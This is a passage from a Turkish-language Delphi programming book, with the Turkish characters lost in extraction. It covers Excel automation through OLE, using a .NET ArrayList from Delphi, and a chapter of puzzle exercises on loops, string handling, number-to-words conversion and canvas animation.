begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button2Click(Sender: TObject); begin uygulama.ActiveSheet.Range['C3'].Select;//se end; Excel Sayfasnda oklu Hcre Setirmek: Dilerseniz birden fazla hcreyide ayn anda aktif hale getirebilirsiniz. Aadaki kod blounu bu ilem iin kullanabilirsiniz. var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button4Click(Sender: TObject); begin uygulama.ActiveSheet.Range['A1:C3'].Select;//9 hcreyi se end; Excel Hcresine Forml Aktarmak: Aadaki kod aktarabilirsiniz. blou sayesinde B1 hcresine istediiniz formul

var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add;end; procedure TForm1.Button5Click(Sender: TObject);

748

begin uygulama.ActiveSheet.Cells[1,2].Formula := '=A1*3' ;end; Excel Dosyasndan Aktif Sayfay Silmek: Aadaki kod blounu kullanarak aktif sayfay dosyadan silebilirsiniz. var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button6Click(Sender: TObject); //Aktif sayfay sil begin uygulama.ActiveSheet.Delete;//sil end; Var Olan Bir Excel Dosyasn Amak: Aadaki kodlamayla bilgisayarnzda mevcut olan bir Excel dosyasn kolayca atrabilirsiniz. var uygulama: Variant; procedure TForm1.Button7Click(Sender: TObject); begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible:=true; uygulama.WorkBooks.Open['c:\okul.xls']; end; veya var uygulama: Variant; procedure TForm1.Button8Click(Sender: TObject); begin OpenDialog1.Title:='Excel Dosyas A'; OpenDialog1.Filter:='Excel Dosyalar|*.xls'; if OpenDialog1.Execute Then 749

begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible:=true; uygulama.WorkBooks.Open[OpenDialog1.FileName]; end; end;

Excelde Grafik izdirmek: Aadaki ekilde kullanacanz bir kod blou sayesinde grafik izdirmeniz mmkn olacaktr. Olay rneklendirmek asndan aadaki form tasarmn oluturunuz.

Amacmz iki listedeki satrlar Excele aktarp grafiini izdirmek olacaktr. Aadaki kod satrlarn Unit pencerenize ekleyiniz. procedure TForm2.FormCreate(Sender: TObject); //uses Comobj ktphanesini eklemeyi unutmaynz. begin ListBox1.Items.Add('OCAK'); ListBox1.Items.Add('NSAN'); ListBox1.Items.Add('AUSTOS'); ListBox1.Items.Add('KASIM'); ListBox2.Items.Add('1250000'); ListBox2.Items.Add('1450000'); ListBox2.Items.Add('1300000'); 750

ListBox2.Items.Add('1500000'); end; var uygulama:Variant;//Global deiken procedure TForm2.Button2Click(Sender: TObject); //Excele Yolla var i,adet:Integer; begin adet:=ListBox1.Items.Count; uygulama:=CreateOleObject('Excel.Application'); uygulama.visible:=true; uygulama.WorkBooks.Add; uygulama.ActiveSheet.Cells[1,1]:='AYLAR';//yaz uygulama.ActiveSheet.cells[1,2]:='KUR DEER';//yaz for i:=2 to adeT+1 do begin uygulama.ActiveSheet.cells[i,1]:=ListBox1.Items[i-2]; uygulama.ActiveSheet.cells[i,2]:=ListBox2.Items[i-2]; end; end; procedure TForm2.Button1Click(Sender: TObject); //Grafik iz begin uygulama.ActiveSheet.Range['A1:C4'].Select;//se uygulama.Charts.Add;//Grafik iz end;

751

.Net Teknolojisi: .NET nternete ynelik uygulama gelitirme amal Microsoft firmas tarafndan karlm bir programlama tekniidir. Bu at aadaki yaplardan olumaktadr. .Net Framework .Net Enterprise Servers .Building Block Services Visual Studio .Net Bu blmde sizlere .Net platformunu kullanm asndan, Delphi nin yapabileceklerinden bahsetmek istiyorum. Kiisel grm sorarsanz, henz bu hususun tam olarak oturmad, Borlandn biraz acele ettii kanaatindeyim. Uygulamalarnzda .Net iin Delphi den kaynaklanan problemlerin var olduunu belirtmek isterim. Yinede .Net ktphanelerini Delphi uygulamalarnzda kullanabilirsiniz. .Net platformunda yer alan bir snf projenizde tanmlayp kolayca methodlarndan faydalanabilirsiniz. Aadaki rnekte bu hususa deinilmektedir. rneimizde ListBox1 ierisinde yer alan deerler, bir .Net snf olan System.Collections.ArrayList nesnesinden faydalanarak dizi deikene aktarlyor. kinci admda bu deerler kendi ierisinde sralanarak dier ListBoxa sral ekilde yazdrlmaktadr.

Aadaki kod blounu Unit penceresine ekleyiniz. Arkasndan programnz altrn. Ekran grntnz yukardaki ekilde olduu gibi oluacaktr. Yaplan sralama kkten bye doru gerekletirilmekte olup, kodlamada iaretin ynn deitirirseniz bykten ke doru bir sralatma gerekletirirsiniz.

752

procedure TForm3.Button1Click(Sender: TObject); var deger:Variant; i,j:Integer; k,l,yeni:Integer; begin deger:=CreateOleObject('System.Collections.ArrayList');//.Net Snf i:=ListBox1.Items.Count; for j:=0 to i-1 do begin deger.Add(ListBox1.Items[j]); end; for k:=0 to i-1 do for l:=k+1 to i-1 do//srala begin if StrToInt(deger.item[k])>StrToInt(deger.item[l]) Then begin yeni:=deger.item[k]; deger.item[k]:=deger.item[l];//yerlerini deitir deger.item[l]:=yeni; end; end; for k:=0 to i-1 do ListBox2.Items.Add(IntToStr(deger.item[k])) end;

Buttona tkladktan sonraki grntnz yukardaki pencerede gzkt gibi olacaktr.

753

Uyar:.NET snflar projenizde kullanp yeni uygulamalar gelirtirmek istiyorsanz .Net Framework platformunu yklemi olmanz gerekmektedir. ayet ykl deilse Microsoft a ait web sayfasndan (biraz uzun srebilir) indirebilirsiniz. kinci olarak Borland firmas .net platformunu kullanabilmeniz iin ikinci CD ierisine ufak bir yazlm eklemitir. Bu yazlmnda yklenmi olmas gerekmektedir.

754

BLM 21 UZMANLAR N BEYN JMNAST

755

756

Birazda Beyin Jimnastii: Bu blmde sizler iin biraz beyin jimnastii trnden rnekler hazrlayacam. Uygulamalarmzn bazs soru niteliinde bazs ise zm ieren rnek kodlardan olumaktadr. Hounuza gitmesi dileiyle Uygulama 1: Aadaki kod blou sonucunda Balkta ne yazar. Bu rnei bilgisayar kullanmadan znz. procedure TForm1.Button1Click(Sender: TObject); var i,j,k:Integer; sonuc:Integer; begin sonuc:=0; for i:=0 to 5 do begin inc(sonuc); for j:=0 to 5 do begin inc(sonuc); for k:=0 to 5 do begin inc(sonuc); end; end; end; Form1.Caption:=IntToStr(sonuc); end; Hi bir extra bilgiye ihtiyacnz olmadan herkesin zebilecei orta zorlukta bir soru klasii. Alfred Hitchcock misali sade, basit ama ok heyecanl. imdi biraz daha zor bir altrma yapalm. Uygulama 2: Aadaki kod blou sonucunda Formun balnda ne yazar. Bu soruyu Bilgisayar kullanmadan hafzanzdan znz.

757

procedure TForm1.Button2Click(Sender: TObject); var i,j,k:Integer; sonuc:Integer; begin sonuc:=0; for i:=0 to 5 do begin inc(sonuc,i); for j:=0 to 5 do begin inc(sonuc,i); for k:=0 to 5 do begin inc(sonuc,i); end; end; end; Form1.Caption:=IntToStr(sonuc); end; Uygulama 3: Aadaki kod blou sonucunda Formun balnda ne yazar. ok basit bir soru ama bilmenizde fayda var (tek hakknz var, ve hafzadan zn). procedure TForm1.Button3Click(Sender: TObject); var i,sonuc:Integer; begin for i:=0 to 20 do begin inc(sonuc); end; Form1.Caption:=IntToStr(i); end; Uygulama 4: Hafzanzla, bilgisayar kullanmadan, aada kod blounu iletirseniz formun balnda ne yazar.

758

procedure TForm1.Button4Click(Sender: TObject); var i,sonuc:Integer; begin sonuc:=0; i:=0; repeat inc(sonuc,i); inc(i); until sonuc>100; Form1.Caption:=IntToStr(i); end; Uygulama 5: Aadaki kod blou sonunda Formun balnda yazacak ierii hafzanzla hesaplaynz. procedure TForm1.Button5Click(Sender: TObject); var deger:PChar; i:Integer; begin deger:='prestige'; for i:=0 to 4 do inc(deger); Form1.Caption:=deger^; end; Uygulama 6: Yine hafzanzla zmenizi istediim bir soru. Aadaki kod blou sonucunda formun balnda ne yazar. procedure TForm1.Button6Click(Sender: TObject); var i:Integer; sonuc:Integer; begin i:=0;sonuc:=0; Repeat

759

sonuc:=sonuc+i; for i:=0 to 20 do begin sonuc:=sonuc+1; end; inc(i); Until i>10; Form1.Caption:=IntToStr(sonuc); end; Uygulama 7: Biraz da biz sonu bulalm. Aadaki rnekte Edit1 e kk harfle girilmi karakterleri byk harfe evirerek Edit2 kontrolne yazmaktayz (UpperCase Fonksiyonu).

procedure TForm2.Button1Click(Sender: TObject); //Byk Harfeevir var deger:PChar; karakter,i,sayi:Integer; begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text); for i:=0 to karakter-1 do begin sayi:=Ord(deger^); if sayi>96 Then begin deger^:=chr(sayi-32); end; Edit2.Text:=Edit2.Text+deger^; inc(deger); end;end; 760

Program altrdktan sonra Byk Harfe evir buttonuna tklarsanz ekran grntnz aadaki ekilde oluacaktr.

Uygulama 8: Bu rneimizde de yukarda yapm olduumuz ilemin tam tersini yapacaz. Yani LowerCase fonksiyonunun kodunu yazacaz.

procedure TForm2.Button2Click(Sender: TObject); //Kk Harfeevir var deger:PChar; karakter,i,sayi:Integer; begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text); for i:=0 to karakter-1 do begin sayi:=Ord(deger^); if sayi<96 Then begin deger^:=chr(sayi+32); 761

end; Edit2.Text:=Edit2.Text+deger^; inc(deger); end; end; Uygulama 9: Bu rneimizde sadece kelimelerin ba harflerini bytp dierlerini kk harflerle yazdracaz (lk Harfleri Byt).

procedure TForm2.Button3Click(Sender: TObject); //LK harfleri Byk Yap var deger,x:PChar; karakter,i,sayi:Integer; yeni:Boolean; begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text); if ord(deger^)>96 Then deger^:=chr(ord(deger^)-32);//ilk karakteri byk yap Edit2.Text:=Edit2.Text+deger^; inc(deger);//bir sonraki karaktere ge for i:=1 to karakter-1 do begin if deger^<>' ' Then begin if yeni=false Then begin if ord(deger^)<=96 Then begin 762

deger^:=Chr(ord(deger^)+32); end; end else begin if ord(deger^)>96 Then begin deger^:=Chr(ord(deger^)-32); end ; end; yeni:=false; end else begin yeni:=true; end; Edit2.Text:=Edit2.Text+deger^; inc(deger); end; end; Kodlamalara dikkat ettiyseniz mmkn olduu kadar Delphi komutu kullanlmamaya allmtr (C++ dan kalma bir alkanlk). Ama iin dorusuda budur. Uygulama 10: Bu rneimizde string tipteki deikenin bandaki bo karakterleri atp gerisini yazdracak olan fonksiyonun kodlarn vereceim (TrimLeft).

Programa ait gelimi kod blou aada verilmitir.

763

procedure TForm2.Button4Click(Sender: TObject); //Balangtaki Boluklar At var deger,x:PChar; karakter,i,sayi:Integer; begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text); for i:=0 to karakter-1 do begin if deger^<>' ' Then begin Edit2.Text:=deger;//katar yazdr end else begin inc(deger); end; end; end; Uygulama 11: Bu rneimizde string deikenin sol tarafndan belirttiiniz kadar karakteri skp alacak bir kod blou kullanacam.

rnek iin soldan 4 karakter sk al eklinde belirtilmitir. procedure TForm2.Button5Click(Sender: TObject); var deger:PChar; karakter,i,sayi:Integer; 764

begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text);//uzunluk sayi:=StrToInt(InputBox('Ka Karakter','Soldan','')); for i:=0 to karakter-1 do begin if i<sayi Then begin Edit2.Text:=Edit2.Text+deger^; end else begin exit;//k end; inc(deger); end; end; Uygulama 12: Yukardaki rnei Dinamik dizi kullanarak zmek istiyorum. procedure TForm2.Button6Click(Sender: TObject); //Soldan Kopar var deger:Array of AnsiString;//dinamik dizi tanmland karakter,i,sayi:Integer; begin karakter:=Length(Edit1.Text); SetLength(deger,karakter); for i:=0 to karakter-1 do deger[i]:=copy(Edit1.Text,i+1,1);//tm karakterleri aktar sayi:=StrToInt(InputBox('Ka Karakter','Soldan','')); for i:=0 to sayi-1 do Edit2.Text:=Edit2.Text+deger[i]; end; Uygulama 13: Bu rnekte string parasnn ierisinden skp alma ilemin gerekletireceiz (Copy Fonksiyonu).

765

Aadaki rnek uygulamada 3. Karakterden sonraki 5 karakter sklp alnmaktadr.

procedure TForm2.Button7Click(Sender: TObject); var deger:Array of AnsiString; karakter,i,sayi,adet:Integer; begin karakter:=Length(Edit1.Text); SetLength(deger,karakter); for i:=0 to karakter-1 do deger[i]:=copy(Edit1.Text,i+1,1);//aktar sayi:=StrToInt(InputBox('Kanc Karakter','Soldan','')); adet:=StrToInt(InputBox('Ka Adet','Karakter','')); for i:=sayi-1 to sayi+adet-2 do Edit2.Text:=Edit2.Text+deger[i]; end; Uygulama 14: Yukardaki rnei katar deiken kullanarak nasl zebileceinizi gstermek istiyorum.

766

Yine bu rnekte 3. Karakterden sonra 5 karakteri sk al denilmitir. procedure TForm2.Button8Click(Sender: TObject); //inden sk Al var deger:PChar; karakter,i,sayi,adet:Integer; begin deger:=PChar(Edit1.Text); karakter:=Length(Edit1.Text); sayi:=StrToInt(InputBox('Ka Karakter','Soldan','')); adet:=StrToInt(InputBox('Ka Adet','Karakter','')); inc(deger,sayi-1); For i:=sayi to sayi+adet-1 do begin Edit2.Text:=Edit2.Text+deger^; inc(deger); end; end; Uygulama 15: Bu uygulamamzda, aadaki tasarm oluturup ek kesme ilemine bir rnek gstereceim.

Uygulamaya ait kod blou aada verilmitir. Edit kontrolnn OnChange yordamna gerekli olan kodlar ekleyiniz. 767

procedure TForm3.Edit1Change(Sender: TObject); var tum,birler,onlar,yuzler,binler,deger,ek:AnsiString ; adet,basla,adim:Integer;kalan:Double; begin Label1.Caption:=''; tum:=Edit1.Text; adet:=Length(Edit1.Text); birler := ' Bir ki Drt Be Alt Yedi';//ilk 7 karakter bo onlar := ' On Yirmi Otuz Krk ElliAltmYetmiSeksenDoksan';//ilk 10 yuzler := ' ki Drt Be Alt YediSekizDokuz';//ilk 12 karakter bo binler := ' BinMilyonMilyar';//ilk 9 karakter For basla := 1 To adet do begin deger := Copy(tum, adet - basla + 1, 1); kalan := basla - (Int(basla / 3) * 3); If kalan = 1 Then ek := Copy(birler, StrToInt(deger) * 5 + 1, 5) Else If kalan = 2 Then ek := Copy(onlar, StrToInt(deger) * 6 + 1, 6) Else begin If StrToInt(deger) = 0 Then ek := '' Else ek := Copy(yuzler, StrToInt(deger) * 5 + 1, 5) + 'Yz' end; If basla = floor(basla / 3) * 3 + 1 Then begin If adet > basla + 2 Then adim := 3 Else begin adim := adet - basla + 1; If StrToInt(Copy(Edit1.Text, adet - basla - adim + 2, adim)) <> 0 Then ek := ek + TrimLeft(Copy(binler, floor(basla / 3) * 6 + 1, 6)) end; end; Label1.Caption := TrimLeft(ek) +' '+ Label1.Caption; end; Label1.Caption:=Label1.Caption+ TL; end;

768

Uygulama 16: Yukardaki ayn rnek iin ikinci bir zm yolu gstereceim. Biraz daha kark olabilir, ama ilgin bir zm.

Uygulama iin gerekli olan kod penceresi aada verilmitir. function birler(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='Bir TL' else if sayi=2 Then Result:='ki TL' else if sayi=3 Then Result:=' TL' else if sayi=4 Then Result:='Drt TL' else if sayi=5 Then Result:='Be TL' else if sayi=6 Then Result:='Alt TL' else if sayi=7 Then Result:='Yedi TL' else if sayi=8 Then Result:='Sekiz TL' else if sayi=9 Then Result:='Dokuz TL' 769

else Result:='TL'; end; //// function onlar(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='On ' else if sayi=2 Then Result:='Yirmi ' else if sayi=3 Then Result:='Otuz ' else if sayi=4 Then Result:='Krk ' else if sayi=5 Then Result:='Elli ' else if sayi=6 Then Result:='Altm ' else if sayi=7 Then Result:='Yetmi ' else if sayi=8 Then Result:='Seksen ' else if sayi=9 Then Result:='Doksan ' else Result:=' '; end; // function yuzler(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='Yz ' else if sayi=2 Then Result:='ki Yz ' else if sayi=3 Then Result:=' Yz ' else if sayi=4 Then Result:='Drt Yz ' else if sayi=5 Then Result:='Be Yz ' else if sayi=6 Then Result:='Alt Yz'

770

else if sayi=7 Then Result:='Yedi Yz' else if sayi=8 Then Result:='Sekiz Yz' else if sayi=9 Then Result:='Dokuz Yz' else Result:=' '; end; ///// function binler(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='Bin ' else if sayi=2 Then Result:='ki Bin ' else if sayi=3 Then Result:=' Bin ' else if sayi=4 Then Result:='Drt Bin ' else if sayi=5 Then Result:='Be Bin ' else if sayi=6 Then Result:='Alt Bin ' else if sayi=7 Then Result:='Yedi Bin ' else if sayi=8 Then Result:='Sekiz Bin ' else if sayi=9 Then Result:='Dokuz Bin ' else Result:='Bin '; end; /// function milyon(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='Bir Milyon ' else if sayi=2 Then Result:='ki Milyon ' else if sayi=3 Then Result:=' Milyon ' 771

else if sayi=4 Then Result:='Drt Milyon ' else if sayi=5 Then Result:='Be Milyon ' else if sayi=6 Then Result:='Alt Milyon ' else if sayi=7 Then Result:='Yedi Milyon ' else if sayi=8 Then Result:='Sekiz Milyon ' else if sayi=9 Then Result:='Dokuz Milyon' else Result:='Milyon '; end; //////////// function milyar(sayi:Integer):AnsiString; begin if sayi=1 Then Result:='Bir Milyar ' else if sayi=2 Then Result:='ki Milyar ' else if sayi=3 Then Result:=' Milyar ' else if sayi=4 Then Result:='Drt Milyar ' else if sayi=5 Then Result:='Be Milyar ' else if sayi=6 Then Result:='Alt Milyar ' else if sayi=7 Then Result:='Yedi Milyar ' else if sayi=8 Then Result:='Sekiz Milyar ' else if sayi=9 Then Result:='Dokuz Milyar ' else Result:='Milyar '; end; procedure TForm3.Edit2Change(Sender: TObject); var harf:Array[0..12] of Integer; 772

sayi,uzunluk,i:Integer; begin try sayi:=StrToInt(Edit2.Text); uzunluk:=length(Edit2.Text); //SetLength(harf,uzunluk-1); for i:=uzunluk-1 downto 0 do harf[uzunluk-1-i]:=StrToInt(Copy(Edit2.Text,i+1,1)); if uzunluk<1 Then Label1.Caption:=' TL' else if uzunluk<2 Then Label1.Caption:=birler(harf[0]) else if uzunluk<3 Then Label1.Caption:=onlar(harf[1])+birler(harf[0]) else if uzunluk<4 Then Label1.Caption:=yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) else if uzunluk<5 Then Label1.Caption:=binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) else if uzunluk<6 Then Label1.Caption:=onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+ birler(harf[0]) else if uzunluk<7 Then Label1.Caption:=yuzler(harf[5])+onlar(harf[4])+binler(harf[3])+yuzler(harf[2]) +onlar(harf[1])+birler(harf[0]) else if uzunluk<8 Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then Label1.Caption:=milyon(harf[6])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) else Label1.Caption:=milyon(harf[6])+yuzler(harf[5])+onlar(harf[4])+binler(harf[3]) +yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end else if uzunluk<9 Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then Label1.Caption:=onlar(harf[7])+milyon(harf[6])+yuzler(harf[2])+onlar(harf[1]) +birler(harf[0]) else Label1.Caption:=onlar(harf[7])+milyon(harf[6])+yuzler(harf[5])+onlar(harf[4]) +binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end 773

else if uzunluk<10 Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then Label1.Caption:=yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+yuzler(harf[2]) +onlar(harf[1])+birler(harf[0]) else Label1.Caption:=yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+ yuzler(harf[5])+onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+bi rler(harf[0]) end else if uzunluk<11 Then begin if (harf[8]=0) and (harf[7]=0) and (harf[6]=0) Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then Label1.Caption:=milyar(harf[9])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) else Label1.Caption:=milyar(harf[9])+yuzler(harf[5])+ onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end else begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then Label1.Caption:= milyar(harf[9])+yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+yuzler(harf[2]) +onlar(harf[1])+birler(harf[0]) else Label1.Caption:= milyar(harf[9])+yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+yuzler(harf[5]) +onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end end else if uzunluk<12 Then begin if (harf[8]=0) and (harf[7]=0) and (harf[6]=0) Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then begin Label1.Caption:=onlar(harf[10])+milyar(harf[9])+yuzler(harf[2])+onlar(harf[1]) +birler(harf[0]) end else 774

begin Label1.Caption:= onlar(harf[10])+milyar(harf[9])+yuzler(harf[5])+ onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end end else begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then begin Label1.Caption:= onlar(harf[10])+milyar(harf[9])+yuzler(harf[8])+ onlar(harf[7])+milyon(harf[6])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end else begin Label1.Caption:=onlar(harf[10])+milyar(harf[9])+yuzler(harf[8])+ onlar(harf[7])+milyon(harf[6])+yuzler(harf[5])+onlar(harf[4])+binler(harf[3])+y uzler(harf[2])+onlar(harf[1])+birler(harf[0]) end end end else if uzunluk<13 Then begin if (harf[8]=0) and (harf[7]=0) and (harf[6]=0) Then begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then begin Label1.Caption:=yuzler(harf[11])+onlar(harf[10])+milyar(harf[9])+ yuzler(harf[2])+ onlar(harf[1])+birler(harf[0]) end Else begin Label1.Caption:=yuzler(harf[11])+onlar(harf[10])+milyar(harf[9])+ yuzler(harf[5])+ onlar(harf[4])+binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end end else begin if (harf[5]=0) and (harf[4]=0) and (harf[3]=0) Then begin

775

Label1.Caption:=yuzler(harf[11])+onlar(harf[10])+milyar(harf[9])+ yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+yuzler(harf[2])+onlar(harf[1])+ birler(harf[0]) end else begin Label1.Caption:= yuzler(harf[11])+onlar(harf[10])+milyar(harf[9])+ yuzler(harf[8])+onlar(harf[7])+milyon(harf[6])+yuzler(harf[5])+onlar(harf[4])+ binler(harf[3])+yuzler(harf[2])+onlar(harf[1])+birler(harf[0]) end end end except ShowMessage(Deeri Yazlacak Rakam Yok); end; end; Uygulama 17: Aadaki uygulamada Edit kontrol ierisine formatl say (parasal deer) nasl yazabileceinizi gsteren gzel bir rnek vereim.

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=Char(vk_Return) Then Form1.Caption:=Edit1.Text+' TL'//entera basnca yaz else if not (key in ['0'..'9',#8]) then key:=#0; //sadece rakam,Enter ve backspace izin ver end; procedure TForm1.Edit1Change(Sender: TObject); var deger:PChar; yenideger,veri:AnsiString; 776

sayi:Double; uzunluk,i:Integer; begin deger:=PChar(Edit1.Text); uzunluk:=Length(Edit1.Text); for i:=0 to uzunluk-1 do begin if (Ord(deger^)>=48)and (ord(deger^)<=57) Then begin yenideger:=yenideger+deger^; end; inc(deger); end; sayi:=StrToFloat(yenideger); Edit1.Text:=FloatToStrF(sayi,ffNumber,18,0); Edit1.SelStart:=Length(Edit1.Text);//imleci en sona gnder end; Uygulama 18: Yukardaki rnein daha deiik ekilde zmn vermek istiyorum. Uygulamada yaz ters evrilerek (4-8-15 vs) numaral karakterlerin yerine . Karakteri konulmaktadr.

procedure TForm1.Edit2Change(Sender: TObject); var deger:PChar; deger1:Array of AnsiString; yenideger,sondeger,tamam:AnsiString; uzunluk,i,k:Integer; begin uzunluk:=Length(Edit2.Text); deger:=PChar(Edit2.Text); 777

for i:=0 to uzunluk-1 do begin if (Ord(deger^)>=48)and (ord(deger^)<=57) Then begin yenideger:=yenideger+deger^; end; inc(deger); end; SetLength(deger1,Length(yenideger)); for i:=0 to Length(yenideger)-1 do deger1[i]:=Copy(yenideger,i+1,1); for i:=Length(yenideger)-1 downto 0 do sondeger:=sondeger+deger1[i];//ters evir. k:=4; While k<=Length(sondeger) do begin Insert('.',sondeger,k);//nokta ekle inc(k,4); end; for i:=Length(sondeger)-1 downto 0 do tamam:= tamam+Copy(sondeger,i+1,1); Edit2.Text:=tamam; Edit2.SelStart:=Length(Edit2.Text); end; Uygulama 19: Bu uygulamamzda form zerinde yaz yazma ilemini gerekletireceiz. Son derece basit bir rnek olduunu belirteyim.

778

Uygulamaya ait kod blou aada verilmitir. Ayn kodu FormCreate yordamna yazarsanz yaznz gzkmeyecektir (Windowsta birden fazla pencere ile alma yaplabildii iin). procedure TForm2.Button1Click(Sender: TObject); var i:Integer; begin canvas.Font.Color:=RGB(170,130,50); Canvas.Font.Size:=14; Canvas.Font.Name:='Times New Roman'; Canvas.Font.Style:=Canvas.Font.Style+[fsBold]; for i:=0 to 20 do Canvas.TextOut(20+5*i,20+3*i,'Nihat Demirli'); end; Eer kodu OnCreate yordamna yazmanz gerekiyorsa o zaman st satra Show bildirisini ekleyiniz. procedure TForm2.FormCreate(Sender: TObject); var i:Integer; begin Show;//OnCreate yazacaksanz bu satr ekleyin canvas.Font.Color:=RGB(170,130,50); Canvas.Font.Size:=14; Canvas.Font.Name:='Times New Roman'; Canvas.Font.Style:=Canvas.Font.Style+[fsBold]; for i:=0 to 20 do Canvas.TextOut(20+5*i,20+3*i,'Nihat Demirli'); end; Uygulama 20: Yine basit bir uygulama amacmz formun zerinde byyp klen emberler izmek olacaktr (Formunuza bir adet Timer kontrol eklemeyi unutmaynz. Daha hzl ember izmesi iin Interval deerini kltebilirsiniz). procedure TForm3.Timer1Timer(Sender: TObject); {$j+} //eklemeyi unutmayn const 779

merkezx:Integer=0; merkezy:Integer=0; i:Integer=5; yon:Boolean=false; begin merkezx:=Ceil(Form3.ClientWidth/2); merkezy:=Ceil(Form3.ClientHeight/2); if yon=False Then begin if i>50 Then begin yon:=true; end else begin inc(i,5); end end else begin if i<=5 Then begin yon:=false; end else begin Dec(i,5); end end ; Canvas.Ellipse(merkezx-i,merkezy-i,merkezx+i,merkezy+i); end;

780

Uygulamay altrdktan sonra belirli bir deere kadar ap devaml olarak byyen emberler izecek, u noktaya eriince ap artk klerek yeni emberler izmeye devam edecektir.

781

Uygulama 21: Bu rneimizde formun zerine Timer kontrol yerletirerek formun boyutlarn deitireceiz.

procedure TForm1.Timer1Timer(Sender: TObject); {$j+}//eklemeyi unutmaynz var tur:HRGN; i,j:Integer; Const yon:Boolean=false; begin i:=Form1.Width; j:=Form1.Height; if yon=false Then begin if j<50 Then begin yon:=true; end else begin tur:=CreateEllipticRgn(0,0,i,j);//ekli belirle SetWindowRgn(Form1.Handle,tur,true);//forma uygula Form1.Width:=Form1.Width-5; Form1.Height:=Form1.Height-5; end end else begin if i>300 Then begin yon:=false; end else 782

begin tur:=CreateEllipticRgn(0,0,i,j); SetWindowRgn(Form1.Handle,tur,true); Form1.Width:=Form1.Width+5; Form1.Height:=Form1.Height+5; end; end ; end; procedure TForm1.FormCreate(Sender: TObject); begin Form1.Width:=200; Form1.Height:=200; Timer1.Interval:=100; end; Uygulama 22: Bu uygulamamz gerekten ok ho, ayet kodlara bakmadan yapabilirseniz yeteneinize diyecek yok demektir. Ama ListBox ierisinde yer alan satrlar alfabetik sraya gre listelemek olacaktr (Sakn ListBoxn Sorted zelliini true yapp hallederim demeyin).

Yukardaki ekran grnts henz Alfabetik Srala dmesine baslmadan nce alnmtr. procedure TForm2.Button1Click(Sender: TObject); //Alfabetik sraya gre Bykten ke doru (Z-A) gre srala Var satir,deger:PChar; yenideger:AnsiString; i,j,k,adet,karakter:Integer; begin adet:=ListBox1.Items.Count; 783

karakter:=Length(ListBox1.Items[1]); i:=0; Repeat satir:=PChar(ListBox1.Items[i]); for j:=0 to adet-1 do begin deger:=PChar(ListBox1.Items[j]); for k:=0 to Length(ListBox1.items[j]) do begin if ord(satir^)>ord(deger^) Then begin yenideger:=ListBox1.Items[i]; ListBox1.Items[i]:=ListBox1.Items[j]; ListBox1.Items[j]:=yenideger; satir:=PChar(ListBox1.Items[i]); break; end else if ord(satir^)<ord(deger^) Then begin satir:=PChar(ListBox1.Items[i]); break; end else begin inc(deger); inc(satir); end; end; satir:=PChar(ListBox1.Items[i]); end; inc(i); Until (i>=adet); end; Program altrp Alfabetik Srala buttonuna tklarsanz. Listeniz Z den A ya doru sralanacak ekran grnts aadaki ekilde gerekleecektir.

784

